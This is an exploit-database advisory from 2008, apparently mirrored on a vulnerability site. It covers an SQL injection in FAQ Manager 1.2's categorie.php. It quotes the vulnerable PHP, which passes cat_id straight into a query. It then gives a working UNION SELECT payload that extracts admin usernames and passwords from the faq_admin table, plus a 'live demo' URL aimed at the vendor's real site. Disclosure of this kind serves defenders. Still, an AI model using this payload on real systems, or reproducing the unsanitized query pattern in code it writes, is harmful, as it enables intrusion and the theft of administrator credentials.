Lucene search
K

FAQ Manager 1.2 - 'categorie.php' SQL Injection

🗓️ 25 Nov 2008 00:00:00Reported by cOndemnedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

FAQ Manager 1.2 Remote SQL Injectio

Code
+---------------------------------------------------------------------------------------+
|                                                                                       |
|       FAQ Manager 1.2 (categorie.php cat_id) Remote SQL Injection Vulnerability       |
|       Bug found by cOndemned                                                          |
|                                                                                       |
|       Script site  : http://www.4yoursite.nl/script_faq_manager.php                   |
|                                                                                       |
|       Greetz: ZaBeaTy, str0ke, doctor, Necro, 0in, TBH, Av...                         |
|                                                                                       |
+---------------------------------------------------------------------------------------+


# source of categorie.php

	[ ... ] 
	
	21.	$catid = $_GET['cat_id'];
	
	[ ... ]
	
	72.	$faq_query = mysql_query("SELECT * FROM `".$prefix."_faq` WHERE `faq_cat_id` = $catid");

	73.	while($faq = mysql_fetch_assoc($faq_query))

	74.	{

	75.		$faq_cat_id = ($faq['faq_cat_id']);

	76.	}

	77.

	78.	$result = mysql_query("SELECT * FROM `".$prefix."_faq` WHERE `faq_cat_id` = $catid");
	
	[ ... ] 


# proof of concept

	http://[host]/[faq_manager_path]/catagorie.php?cat_id=3+union+select+1,2,concat_ws(0x3a,admin_name,admin_pass),4,5+from+faq_admin/*


# live demo 
	
	http://www.4yoursite.nl/demo/faq_manager/catagorie.php?cat_id=3+union+select+1,2,concat_ws(0x3a,admin_name,admin_pass),4,5+from+faq_admin/*

# milw0rm.com [2008-11-25]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation